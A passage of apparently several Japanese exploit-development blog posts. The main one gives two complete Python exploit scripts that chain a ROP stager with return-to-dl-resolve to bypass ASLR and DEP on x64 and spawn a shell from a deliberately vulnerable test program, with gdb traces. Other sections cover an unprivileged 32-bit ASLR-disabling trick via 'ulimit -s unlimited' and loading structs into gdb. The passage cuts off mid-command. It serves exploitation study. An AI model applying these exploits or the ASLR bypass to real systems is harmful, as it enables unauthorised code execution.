x64でROP stager + Return-to-dl-resolveによるASLR+DEP回避をやってみる
「ROP stager + Return-to-dl-resolveによるASLR+DEP回避」では、ASLR+DEPが有効なx86環境においてlibcバイナリに依存しない形でシェル起動を行った。 ここでは、ASLR+DEPが有効なx64環境において同様のシェル起動をやってみる。
環境
Ubuntu 12.04 LTS 64bit版
$ uname -a Linux vm-ubuntu64 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
脆弱性のあるプログラムを用意する
まず、スタックバッファオーバーフローを起こせるコードを書く。
/* bof.c */ #include <unistd.h> int main() { char buf[100]; int size; /* pop rdi; ret; pop rsi; ret; pop rdx; ret; */ char cheat[] = "\x5f\xc3\x5e\xc3\x5a\xc3"; read(0, &size, 8); read(0, buf, size); write(1, buf, size); return 0; }
このコードは最初に8バイトのデータ長を読み込み、続くデータをそのデータ長だけ読み込んだ後出力する。 また、このコードではrdi、rsi、rdxの各レジスタをpopするROP gadgetを意図的に埋め込んでいる。 実際は、実行ファイルのバイナリ中にこれらのgadgetがないか探す必要がある。
ASLR、DEP有効、SSP無効でコンパイルし実行してみる。
$ sudo sysctl -w kernel.randomize_va_space=2 kernel.randomize_va_space = 2 $ gcc -fno-stack-protector bof.c $ echo -en "\x04\x00\x00\x00\x00\x00\x00\x00AAAA" | ./a.out AAAA
エクスプロイトコードを書いてみる
まず、readelfコマンド、objdumpコマンド、rp++を使い、実行ファイルに関する情報を書き出す。
$ readelf -S a.out > dump.txt $ objdump -d a.out >> dump.txt $ ./rp-lin-x64 --file=a.out --rop=1 --unique > gadgets.txt
これらの情報をもとに、エクスプロイトコードを書くと次のようになる。
# exploit.py import sys import struct from subprocess import Popen, PIPE bufsize = int(sys.argv[1]) addr_dynsym = 0x00000000004002b8 # readelf -S a.out addr_dynstr = 0x0000000000400330 # readelf -S a.out addr_relplt = 0x00000000004003b8 # readelf -S a.out addr_plt = 0x0000000000400420 # readelf -S a.out addr_bss = 0x0000000000601028 # readelf -S a.out addr_plt_read = 0x400440 # objdump -d -j.plt a.out addr_got_read = 0x601008 # objdump -d -j.plt a.out addr_pop_rdi = 0x0040054f # 0x0040054f: pop rdi ; ret ; (1 found) addr_pop_rsi = 0x00400551 # 0x00400551: pop rsi ; ret ; (1 found) addr_pop_rdx = 0x00400557 # 0x00400557: pop rdx ; ret ; (1 found) addr_pop_rbp = 0x00400512 # 0x00400512: pop rbp ; ret ; (3 found) addr_leave_ret = 0x004005a6 # 0x004005a6: leave ; ret ; (1 found) stack_size = 0x800 base_stage = addr_bss + stack_size buf1 = 'A' * bufsize buf1 += 'A' * (8-len(buf1)%8) buf1 += 'AAAAAAAA' * 2 buf1 += struct.pack('<Q', addr_pop_rdi) buf1 += struct.pack('<Q', 0) buf1 += struct.pack('<Q', addr_pop_rsi) buf1 += struct.pack('<Q', base_stage) buf1 += struct.pack('<Q', addr_pop_rdx) buf1 += struct.pack('<Q', 200) buf1 += struct.pack('<Q', addr_plt_read) buf1 += struct.pack('<Q', addr_pop_rbp) buf1 += struct.pack('<Q', base_stage) buf1 += struct.pack('<Q', addr_leave_ret) addr_reloc = base_stage + 48 align_reloc = 0x18 - ((addr_reloc-addr_relplt) % 0x18) addr_reloc += align_reloc addr_sym = addr_reloc + 24 align_dynsym = 0x18 - ((addr_sym-addr_dynsym) % 0x18) addr_sym += align_dynsym addr_symstr = addr_sym + 24 addr_cmd = addr_symstr + 7 reloc_offset = (addr_reloc - addr_relplt) / 0x18 r_info = (((addr_sym - addr_dynsym) / 0x18) << 32) | 0x7 st_name = addr_symstr - addr_dynstr buf2 = 'AAAAAAAA' buf2 += struct.pack('<Q', addr_pop_rdi) buf2 += struct.pack('<Q', addr_cmd) buf2 += struct.pack('<Q', addr_plt) buf2 += struct.pack('<Q', reloc_offset) buf2 += 'AAAAAAAA' buf2 += 'A' * align_reloc buf2 += struct.pack('<Q', addr_got_read) # Elf64_Rela buf2 += struct.pack('<Q', r_info) buf2 += struct.pack('<Q', 0) buf2 += 'A' * align_dynsym buf2 += struct.pack('<I', st_name) # Elf64_Sym buf2 += struct.pack('<I', 0x12) buf2 += struct.pack('<Q', 0) buf2 += struct.pack('<Q', 0) buf2 += 'system\x00' buf2 += '/bin/sh <&2 >&2\x00' buf2 += 'A' * (200-len(buf2)) p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE) p.stdin.write(struct.pack('<Q', len(buf1))) p.stdin.write(buf1) print "[+] read: %r" % p.stdout.read(len(buf1)) p.stdin.write(buf2) p.wait()
このコードはオーバーフローさせるバッファのサイズを引数に取る。 コードの内容は基本的には「ROP stager + Return-to-dl-resolveによるASLR+DEP回避」と同じであるが、以下の点において違いがある。
- 関数呼び出しにおける引数は、スタックに並べる代わりにpop命令でレジスタにセットする
- Elf32_Rel、Elf32_Sym構造体の代わりに、Elf64_Rela、Elf64_Sym構造体を使う
- reloc_offsetの値がアドレスのオフセットではなく、Elf64_Rela構造体の配列インデックスとなる
- 上の理由により、Elf64_Sym構造体と同様に、Elf64_Rela構造体を置くアドレスが構造体サイズの倍数の位置になるよう調整する必要がある
Elf64_Rela、Elf64_Sym構造体の定義は次のようになっている。
typedef uint32_t Elf64_Word; typedef uint64_t Elf64_Xword; typedef int64_t Elf64_Sxword; typedef uint64_t Elf64_Addr; typedef uint16_t Elf64_Section; typedef struct { Elf64_Addr r_offset; /* Address */ Elf64_Xword r_info; /* Relocation type and symbol index */ Elf64_Sxword r_addend; /* Addend */ } Elf64_Rela; typedef struct { Elf64_Word st_name; /* Symbol name (string tbl index) */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility */ Elf64_Section st_shndx; /* Section index */ Elf64_Addr st_value; /* Symbol value */ Elf64_Xword st_size; /* Symbol size */ } Elf64_Sym;
引数をセットして実行してみる。
$ python exploit.py 100 [+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAO\x05@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Q\x05@\x00\x00\x00\x00\x00(\x18`\x00\x00\x00\x00\x00W\x05@\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\x00@\x04@\x00\x00\x00\x00\x00\x12\x05@\x00\x00\x00\x00\x00(\x18`\x00\x00\x00\x00\x00\xa6\x05@\x00\x00\x00\x00\x00'
x86の場合と異なり、うまく動いていないことがわかる。
動かない原因を調べてみる
gdbを使い、エクスプロイトコードが送り込まれた後の様子を調べてみる。
$ gdb -q --args python exploit.py 100 Reading symbols from /usr/bin/python...(no debugging symbols found)...done. (gdb) set follow-fork-mode child (gdb) r Starting program: /usr/bin/python exploit.py 100 warning: no loadable sections found in added symbol-file system-supplied DSO at 0x7ffff7ffa000 [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". [New process 5551] [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". process 5551 is executing new program: /home/user/tmp/a.out [+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAO\x05@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Q\x05@\x00\x00\x00\x00\x00(\x18`\x00\x00\x00\x00\x00W\x05@\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\x00@\x04@\x00\x00\x00\x00\x00\x12\x05@\x00\x00\x00\x00\x00(\x18`\x00\x00\x00\x00\x00\xa6\x05@\x00\x00\x00\x00\x00' Program received signal SIGSEGV, Segmentation fault. [Switching to process 5551] 0x00007ffff7de86fa in ?? () from /lib64/ld-linux-x86-64.so.2 (gdb) x/i $pc => 0x7ffff7de86fa: movzx esi,WORD PTR [r8+rsi*2] (gdb) i r rax 0x7ffff7ffe2c8 0x7ffff7ffe2c8 rbx 0x0 0x0 rcx 0x0 0x0 rdx 0x601888 0x601888 rsi 0x1563e 0x1563e rdi 0x400330 0x400330 rbp 0x0 0x0 rsp 0x6017b8 0x6017b8 r8 0x400374 0x400374 r9 0x600f70 0x600f70 r10 0x4002b8 0x4002b8 r11 0x246 0x246 r12 0x601008 0x601008 r13 0x7fffffffe720 0x7fffffffe720 r14 0x0 0x0 r15 0x0 0x0 rip 0x7ffff7de86fa 0x7ffff7de86fa eflags 0x10202 [ IF RF ] cs 0x33 0x33 ss 0x2b 0x2b ds 0x0 0x0 es 0x0 0x0 fs 0x0 0x0 gs 0x0 0x0 (gdb) p/x $r8+$rsi*2 $1 = 0x42aff0 (gdb) x/gx $r8+$rsi*2 0x42aff0: Cannot access memory at address 0x42aff0 (gdb) i proc map process 5551 Mapped address spaces: Start Addr End Addr Size Offset objfile 0x400000 0x401000 0x1000 0x0 /home/user/tmp/a.out 0x600000 0x601000 0x1000 0x0 /home/user/tmp/a.out 0x601000 0x602000 0x1000 0x1000 /home/user/tmp/a.out ...
ここで、set follow-fork-mode child
によりfork後、子プロセスとなるa.outの様子を表示していることに注意する。
上の結果から、_dl_fixup関数において$r8+$rsi*2 == 0x42aff0
のアドレスを参照しようとした結果、セグメンテーション違反により落ちていることがわかる。
前後の処理を確認するため、_dl_fixup関数に対応するアセンブリコードを表示してみる。
(gdb) bt #0 0x00007ffff7de86fa in ?? () from /lib64/ld-linux-x86-64.so.2 #1 0x00007ffff7def235 in ?? () from /lib64/ld-linux-x86-64.so.2 #2 0x4141414141414141 in ?? () #3 0x4141414141414141 in ?? () #4 0x4141414141414141 in ?? () #5 0x0000000000601008 in write@got.plt () #6 0x0001563e00000007 in ?? () #7 0x0000000000000000 in ?? () (gdb) x/10i 0x00007ffff7def235-10 0x7ffff7def22b: mov rdi,QWORD PTR [rsp+0x38] 0x7ffff7def230: call 0x7ffff7de8680 0x7ffff7def235: mov r11,rax 0x7ffff7def238: mov r9,QWORD PTR [rsp+0x30] 0x7ffff7def23d: mov r8,QWORD PTR [rsp+0x28] 0x7ffff7def242: mov rdi,QWORD PTR [rsp+0x20] 0x7ffff7def247: mov rsi,QWORD PTR [rsp+0x18] 0x7ffff7def24c: mov rdx,QWORD PTR [rsp+0x10] 0x7ffff7def251: mov rcx,QWORD PTR [rsp+0x8] 0x7ffff7def256: mov rax,QWORD PTR [rsp] (gdb) x/50i 0x7ffff7de8680 0x7ffff7de8680: push r13 0x7ffff7de8682: mov rax,rdi 0x7ffff7de8685: mov esi,esi 0x7ffff7de8687: lea rcx,[rsi+rsi*2] 0x7ffff7de868b: push r12 0x7ffff7de868d: shl rcx,0x3 0x7ffff7de8691: push rbp 0x7ffff7de8692: push rbx 0x7ffff7de8693: sub rsp,0x28 0x7ffff7de8697: mov rdx,QWORD PTR [rdi+0x68] 0x7ffff7de869b: mov r9,QWORD PTR [rax+0x70] 0x7ffff7de869f: mov rbp,QWORD PTR [rax] 0x7ffff7de86a2: mov rdi,QWORD PTR [rdx+0x8] 0x7ffff7de86a6: mov rdx,QWORD PTR [rax+0xf8] 0x7ffff7de86ad: mov r10,QWORD PTR [r9+0x8] 0x7ffff7de86b1: add rcx,QWORD PTR [rdx+0x8] 0x7ffff7de86b5: mov r8,QWORD PTR [rcx+0x8] 0x7ffff7de86b9: mov r12,QWORD PTR [rcx] 0x7ffff7de86bc: mov rsi,r8 0x7ffff7de86bf: shr rsi,0x20 0x7ffff7de86c3: cmp r8d,0x7 0x7ffff7de86c7: lea rdx,[rsi+rsi*2] 0x7ffff7de86cb: lea rdx,[r10+rdx*8] 0x7ffff7de86cf: mov QWORD PTR [rsp+0x10],rdx 0x7ffff7de86d4: jne 0x7ffff7de8834 0x7ffff7de86da: movzx ecx,BYTE PTR [rdx+0x5] 0x7ffff7de86de: and ecx,0x3 0x7ffff7de86e1: jne 0x7ffff7de882c 0x7ffff7de86e7: mov r9,QWORD PTR [rax+0x1c8] 0x7ffff7de86ee: xor r8d,r8d 0x7ffff7de86f1: test r9,r9 0x7ffff7de86f4: je 0x7ffff7de871f 0x7ffff7de86f6: mov r8,QWORD PTR [r9+0x8] => 0x7ffff7de86fa: movzx esi,WORD PTR [r8+rsi*2] 0x7ffff7de86ff: and esi,0x7fff 0x7ffff7de8705: lea r8,[rsi+rsi*2] 0x7ffff7de8709: mov rsi,QWORD PTR [rax+0x2e0] 0x7ffff7de8710: lea r8,[rsi+r8*8] 0x7ffff7de8714: mov r9d,DWORD PTR [r8+0x8] 0x7ffff7de8718: test r9d,r9d 0x7ffff7de871b: cmove r8,rcx 0x7ffff7de871f: mov ecx,DWORD PTR fs:0x18 0x7ffff7de8727: test ecx,ecx 0x7ffff7de8729: jne 0x7ffff7de8816 0x7ffff7de872f: mov esi,0x1 0x7ffff7de8734: mov r13d,DWORD PTR fs:0x4c 0x7ffff7de873d: mov DWORD PTR fs:0x4c,0x1 0x7ffff7de8749: mov edx,DWORD PTR [rdx] 0x7ffff7de874b: mov rcx,QWORD PTR [rax+0x380] 0x7ffff7de8752: mov r9d,0x1
この内容とレジスタの値をもとに実際のソースコードを見てみると、落ちている箇所が次の部分に対応することがわかる。
const struct r_found_version *version = NULL; if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) { const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]); ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff; version = &l->l_versions[ndx]; if (version->hash == 0) version = NULL; }
これはアドレス解決を行うシンボルのバージョン情報を取得する部分であり、プログラムはvernum[ELFW(R_SYM) (reloc->r_info)]
の箇所で落ちている。
そこで、この処理をスキップするため、if文の条件になっているl->l_info[VERSYMIDX (DT_VERSYM)]
がNULLとなるようにメモリを書き換えることを考える。
なお、バージョン情報がない場合もライブラリ側で指定された特定のバージョン(一般に最新バージョン)が選択されることになるため、動作にはほとんど影響はない。
l->l_info[VERSYMIDX (DT_VERSYM)]
は、アセンブリコード中で[rax+0x1c8]
の形で参照されている。
また、raxレジスタにはlink_map構造体l
のアドレスが入っており、これは実行ファイルのGOTセクションの2ワード目に入っている値である。
以上をもとに、エクスプロイトコードを次のように修正することを考える。
- GOTセクションの2ワード目の値、すなわちlink_map構造体のアドレスをwrite@plt関数により書き出す
- read@plt関数でデータを読み込み、stack pivotを行う
- 書き出されたlink_map構造体のアドレス+0x1c8の場所に、read@plt関数を使いNULL (=0) を書き込む
- Return-to-dl-resolveを行う
エクスプロイトコードを修正してみる
上の内容に従い、エクスプロイトコードを修正すると次のようになる。
# exploit2.py import sys import struct from subprocess import Popen, PIPE bufsize = int(sys.argv[1]) addr_dynsym = 0x00000000004002b8 # readelf -S a.out addr_dynstr = 0x0000000000400330 # readelf -S a.out addr_relplt = 0x00000000004003b8 # readelf -S a.out addr_plt = 0x0000000000400420 # readelf -S a.out addr_got = 0x0000000000600fe8 # readelf -S a.out addr_bss = 0x0000000000601028 # readelf -S a.out addr_plt_read = 0x400440 # objdump -d -j.plt a.out addr_plt_write = 0x400430 # objdump -d -j.plt a.out addr_got_read = 0x601008 # objdump -d -j.plt a.out addr_pop_rdi = 0x0040054f # 0x0040054f: pop rdi ; ret ; (1 found) addr_pop_rsi = 0x00400551 # 0x00400551: pop rsi ; ret ; (1 found) addr_pop_rdx = 0x00400557 # 0x00400557: pop rdx ; ret ; (1 found) addr_pop_rbp = 0x00400512 # 0x00400512: pop rbp ; ret ; (3 found) addr_leave_ret = 0x004005a6 # 0x004005a6: leave ; ret ; (1 found) stack_size = 0x800 base_stage = addr_bss + stack_size buf1 = 'A' * bufsize buf1 += 'A' * (8-len(buf1)%8) buf1 += 'AAAAAAAA' * 2 buf1 += struct.pack('<Q', addr_pop_rdi) buf1 += struct.pack('<Q', 1) buf1 += struct.pack('<Q', addr_pop_rsi) buf1 += struct.pack('<Q', addr_got+8) buf1 += struct.pack('<Q', addr_pop_rdx) buf1 += struct.pack('<Q', 8) buf1 += struct.pack('<Q', addr_plt_write) buf1 += struct.pack('<Q', addr_pop_rdi) buf1 += struct.pack('<Q', 0) buf1 += struct.pack('<Q', addr_pop_rsi) buf1 += struct.pack('<Q', base_stage) buf1 += struct.pack('<Q', addr_pop_rdx) buf1 += struct.pack('<Q', 200) buf1 += struct.pack('<Q', addr_plt_read) buf1 += struct.pack('<Q', addr_pop_rbp) buf1 += struct.pack('<Q', base_stage) buf1 += struct.pack('<Q', addr_leave_ret) p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE) p.stdin.write(struct.pack('<Q', len(buf1))) p.stdin.write(buf1) print "[+] read: %r" % p.stdout.read(len(buf1)) addr_link_map = struct.unpack('<Q', p.stdout.read(8))[0] print "[+] addr_link_map = %x" % addr_link_map addr_dt_versym = addr_link_map + 0x1c8 addr_reloc = base_stage + 104 align_reloc = 0x18 - ((addr_reloc-addr_relplt) % 0x18) addr_reloc += align_reloc addr_sym = addr_reloc + 24 align_dynsym = 0x18 - ((addr_sym-addr_dynsym) % 0x18) addr_sym += align_dynsym addr_symstr = addr_sym + 24 addr_cmd = addr_symstr + 7 reloc_offset = (addr_reloc - addr_relplt) / 0x18 r_info = (((addr_sym - addr_dynsym) / 0x18) << 32) | 0x7 st_name = addr_symstr - addr_dynstr buf2 = 'AAAAAAAA' buf2 += struct.pack('<Q', addr_pop_rdi) buf2 += struct.pack('<Q', 0) buf2 += struct.pack('<Q', addr_pop_rsi) buf2 += struct.pack('<Q', addr_dt_versym) buf2 += struct.pack('<Q', addr_pop_rdx) buf2 += struct.pack('<Q', 8) buf2 += struct.pack('<Q', addr_plt_read) buf2 += struct.pack('<Q', addr_pop_rdi) buf2 += struct.pack('<Q', addr_cmd) buf2 += struct.pack('<Q', addr_plt) buf2 += struct.pack('<Q', reloc_offset) buf2 += 'AAAAAAAA' buf2 += 'A' * align_reloc buf2 += struct.pack('<Q', addr_got_read) # Elf64_Rela buf2 += struct.pack('<Q', r_info) buf2 += struct.pack('<Q', 0) buf2 += 'A' * align_dynsym buf2 += struct.pack('<I', st_name) # Elf64_Sym buf2 += struct.pack('<I', 0x12) buf2 += struct.pack('<Q', 0) buf2 += struct.pack('<Q', 0) buf2 += 'system\x00' buf2 += '/bin/sh <&2 >&2\x00' buf2 += 'A' * (200-len(buf2)) p.stdin.write(buf2) p.stdin.write(struct.pack('<Q', 0)) p.wait()
引数をセットして実行してみる。
$ python exploit2.py 100 [+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAO\x05@\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00Q\x05@\x00\x00\x00\x00\x00\xf0\x0f`\x00\x00\x00\x00\x00W\x05@\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x000\x04@\x00\x00\x00\x00\x00O\x05@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Q\x05@\x00\x00\x00\x00\x00(\x18`\x00\x00\x00\x00\x00W\x05@\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\x00@\x04@\x00\x00\x00\x00\x00\x12\x05@\x00\x00\x00\x00\x00(\x18`\x00\x00\x00\x00\x00\xa6\x05@\x00\x00\x00\x00\x00' [+] addr_link_map = 7f036bb002c8 $ id uid=1000(user) gid=1000(user) groups=1000(user) $
必要なROP gadgetが揃っているという条件のもと、ASLR+DEPが有効なx64環境下において、libcバイナリの情報を利用することなくシェルが起動できていることが確認できた。
オフセット0x1c8の詳細を調べてみる
最後に、[rax+0x1c8]
のオフセット0x1c8の詳細について調べてみる。
すでに述べたように、これはlink_map構造体l
に対してl->l_info[VERSYMIDX (DT_VERSYM)]
の値に対応するものである。
l_info
はlink_map構造体においてglibc内部でのみ利用されるメンバであり、次のように定義されている。
struct link_map { /* These first few members are part of the protocol with the debugger. This is the same format used in SVR4. */ ElfW(Addr) l_addr; /* Base address shared object is loaded at. */ char *l_name; /* Absolute file name object was found in. */ ElfW(Dyn) *l_ld; /* Dynamic section of the shared object. */ struct link_map *l_next, *l_prev; /* Chain of loaded objects. */ /* All following members are internal to the dynamic linker. They may change without notice. */ /* This is an element which is only ever different from a pointer to the very same copy of this type for ld.so when it is used in more than one namespace. */ struct link_map *l_real; /* Number of the namespace this link map belongs to. */ Lmid_t l_ns; struct libname_list *l_libname; /* Indexed pointers to dynamic section. [0,DT_NUM) are indexed by the processor-independent tags. [DT_NUM,DT_NUM+DT_THISPROCNUM) are indexed by the tag minus DT_LOPROC. [DT_NUM+DT_THISPROCNUM,DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM) are indexed by DT_VERSIONTAGIDX(tagvalue). [DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM, DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM) are indexed by DT_EXTRATAGIDX(tagvalue). [DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM, DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM) are indexed by DT_VALTAGIDX(tagvalue) and [DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM, DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM+DT_ADDRNUM) are indexed by DT_ADDRTAGIDX(tagvalue), see <elf.h>. */ ElfW(Dyn) *l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM + DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM]; (snip) };
ここで、Lmid_tの定義は次のようになっている。
/* Type for namespace indeces. */ typedef long int Lmid_t;
ElfW(Addr) == Elf64_Addr == uint64_t
であること、ポインタのサイズが8バイトであることより、link_map構造体においてl_infoはオフセット64の位置にあることがわかる。
ただし、コメントにあるようにl_real以下のメンバの配置はglibcのバージョンによって変わる可能性がある。
l_infoはdynamicセクションに置かれたElf64_Dyn構造体を指すポインタの配列である。
ここで、参照されているインデックス値VERSYMIDX (DT_VERSYM)
に関する定義をまとめると、次のようになる。
- [svn] View of /branches/eglibc-2_15/libc/elf/dynamic-link.h
- [svn] View of /branches/eglibc-2_15/libc/elf/elf.h
#ifndef VERSYMIDX # define VERSYMIDX(sym) (DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGIDX (sym)) #endif
#define DT_NUM 34 /* Number used */ #define DT_VERSYM 0x6ffffff0 #define DT_VERNEEDNUM 0x6fffffff /* Number of needed versions */ #define DT_VERSIONTAGIDX(tag) (DT_VERNEEDNUM - (tag)) /* Reverse order! */
DT_THISPROCNUM
の値はアーキテクチャごとに異なるが、x64の場合は0となっている。
/* Number of extra dynamic section entries for this architecture. By default there are none. */ #define DT_THISPROCNUM 0
以上より、l->l_info[VERSYMIDX (DT_VERSYM)]
を表すアドレスは次のようになる。
l->l_info[VERSYMIDX (DT_VERSYM)] == &l + 64 + 8 * (DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGIDX (DT_VERSYM)) == &l + 64 + 8 * (34 + 0 + (0x6fffffff - 0x6ffffff0)) == &l + 0x1c8
これはアセンブリコード中の[rax+0x1c8]
に一致している。
なお、svnのannotate情報を見ると、このオフセットはRevision 4(2006/08/16、glibc 2.4)から変化していないことがわかる。
関連リンク
ulimit -s unlimitedによる32bit ASLR無効化
一般に、ASLRはsysctlコマンドなどでカーネルパラメータを変更することにより有効化・無効化できる。
$ sudo sysctl -w kernel.randomize_va_space=2 # enable kernel.randomize_va_space = 2 $ sudo sysctl -w kernel.randomize_va_space=0 # disable kernel.randomize_va_space = 0
この操作にはroot権限が必要であり、一般ユーザの権限では変更できない。
起動時にsetarchコマンドを使うことで、特定のプロセスのみASLRを無効化する方法もある。
$ setarch i686 -R ./a.out
この操作はroot権限を必要としないが、通常の手順で起動されるプロセスには適用できない。
しかし32bit環境の場合、rlimitコマンドでスタックサイズを無限にすると、以降に起動されるプロセスすべてでASLRが無効になる。
$ ulimit -s unlimited
この操作は一般ユーザ権限でも行うことができる。
また、プログラム中でsetrlimit(RLIMIT_STACK, {RLIM_INFINITY, RLIM_INFINITY})
を呼ぶことでも同じ効果が得られる。
なお、64bit環境の場合にはASLRは無効にならない。
これは、Linuxカーネルの実装によるものであり、具体的には次のコードに対応する。
static int mmap_is_legacy(void) { if (current->personality & ADDR_COMPAT_LAYOUT) return 1; if (rlimit(RLIMIT_STACK) == RLIM_INFINITY) return 1; return sysctl_legacy_va_layout; }
RLIMIT_STACKがRLIM_INFINITYの場合、mmap_is_legacyはtrueとなる。 そして、mmap_is_legacyは次の箇所で呼ばれている。
/* * This function, called very early during the creation of a new * process VM image, sets up which VM layout function to use: */ void arch_pick_mmap_layout(struct mm_struct *mm) { mm->mmap_legacy_base = mmap_legacy_base(); mm->mmap_base = mmap_base(); if (mmap_is_legacy()) { mm->mmap_base = mm->mmap_legacy_base; mm->get_unmapped_area = arch_get_unmapped_area; } else { mm->get_unmapped_area = arch_get_unmapped_area_topdown; } }
mm->mmap_base
は、mmap_is_legacyがtrueの場合mmap_legacy_base()
の返り値、falseの場合mmap_base()
の返り値となっている。
これらの実装は次のようになっている。
static unsigned long mmap_rnd(void) { unsigned long rnd = 0; /* * 8 bits of randomness in 32bit mmaps, 20 address space bits * 28 bits of randomness in 64bit mmaps, 40 address space bits */ if (current->flags & PF_RANDOMIZE) { if (mmap_is_ia32()) rnd = get_random_int() % (1<<8); else rnd = get_random_int() % (1<<28); } return rnd << PAGE_SHIFT; } static unsigned long mmap_base(void) { unsigned long gap = rlimit(RLIMIT_STACK); if (gap < MIN_GAP) gap = MIN_GAP; else if (gap > MAX_GAP) gap = MAX_GAP; return PAGE_ALIGN(TASK_SIZE - gap - mmap_rnd()); } /* * Bottom-up (legacy) layout on X86_32 did not support randomization, X86_64 * does, but not when emulating X86_32 */ static unsigned long mmap_legacy_base(void) { if (mmap_is_ia32()) return TASK_UNMAPPED_BASE; else return TASK_UNMAPPED_BASE + mmap_rnd(); }
上の内容から、mmap_is_ia32()
がtrue、つまり32bit環境の場合mmap_legacy_base()
が返すアドレスが固定となっていることがわかる。
また、mmap_rnd()
の実装から、32bit環境では8bit、64bit環境では28bitのランダム化が行われていることがわかる。
追記(2016-11-16)
この動作はLinux kernel 4.5で修正された。
関連リンク
gdbに構造体定義を読み込ませて使う
ヘッダファイルなどから構造体の定義などがわかっているとき、gdbにこれを読み込ませることでメモリ内容を構造体定義に合わせて表示させることができる。 これを行うには、gccでデバッグ情報付きのオブジェクトを作った後、gdbのadd-symbol-fileコマンドで読み込ませればよい。 ここでは、link.hおよび内部でインクルードされるelf.hを使って、実行時のELFセクションの内容をたどってみる。
まずはヘッダファイルをC言語ソースとみなして、デバッグ情報付きでオブジェクトファイルにする。
ここでは、コンパイルまでを行いリンクは行わないので、-c
オプションをつける。
さらに、-fno-eliminate-unused-debug-types
オプションを使い、変数宣言されていない型もデバッグ情報に含めるようにする。
$ gcc -g -fno-eliminate-unused-debug-types -x c -c /usr/include/link.h -o link.o
適当な実行ファイルをgdbで実行し、作成したオブジェクトファイルをadd-symbol-fileコマンドで読み込ませる。 add-symbol-fileは第2引数として対応するファイルのベースアドレスを指定する必要があるが、ここではシンボル情報は利用しないので適当でよい。
$ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) set print array on (gdb) set print array-indexes on (gdb) set output-radix 16. Output radix now set to decimal 16, hex 10, octal 20. (gdb) add-symbol-file link.o 0 add symbol table from file "link.o" at .text_addr = 0x0 (y or n) y Reading symbols from /home/user/tmp/link.o...done.
ここでは、合わせて配列の整形表示およびインデックス表示と、数値出力の16進表示設定も行っている。 これで、link.hに定義された構造体情報は読み込まれたので、あとはメモリアドレスから構造体をたどっていくことができる。
(gdb) start Temporary breakpoint 1 at 0x8048407 Starting program: /home/user/tmp/a.out Temporary breakpoint 1, 0x08048407 in main () (gdb) i files 0x08049f08 - 0x08049fe0 is .dynamic (gdb) set $dynamic = (Elf32_Dyn *)0x08049f08 (gdb) p *$dynamic@10 $1 = {[0x0] = {d_tag = 0x1, d_un = {d_val = 0x10, d_ptr = 0x10}}, [0x1] = {d_tag = 0xc, d_un = {d_val = 0x80482d0, d_ptr = 0x80482d0}}, [0x2] = {d_tag = 0xd, d_un = {d_val = 0x804851c, d_ptr = 0x804851c}}, [0x3] = {d_tag = 0x6ffffef5, d_un = {d_val = 0x80481ac, d_ptr = 0x80481ac}}, [0x4] = {d_tag = 0x5, d_un = {d_val = 0x804822c, d_ptr = 0x804822c}}, [0x5] = {d_tag = 0x6, d_un = {d_val = 0x80481cc, d_ptr = 0x80481cc}}, [0x6] = {d_tag = 0xa, d_un = {d_val = 0x50, d_ptr = 0x50}}, [0x7] = {d_tag = 0xb, d_un = {d_val = 0x10, d_ptr = 0x10}}, [0x8] = {d_tag = 0x15, d_un = {d_val = 0xb7fff904, d_ptr = 0xb7fff904}}, [0x9] = {d_tag = 0x3, d_un = {d_val = 0x8049fe0, d_ptr = 0x8049fe0}}} (gdb) set $r_debug = (struct r_debug 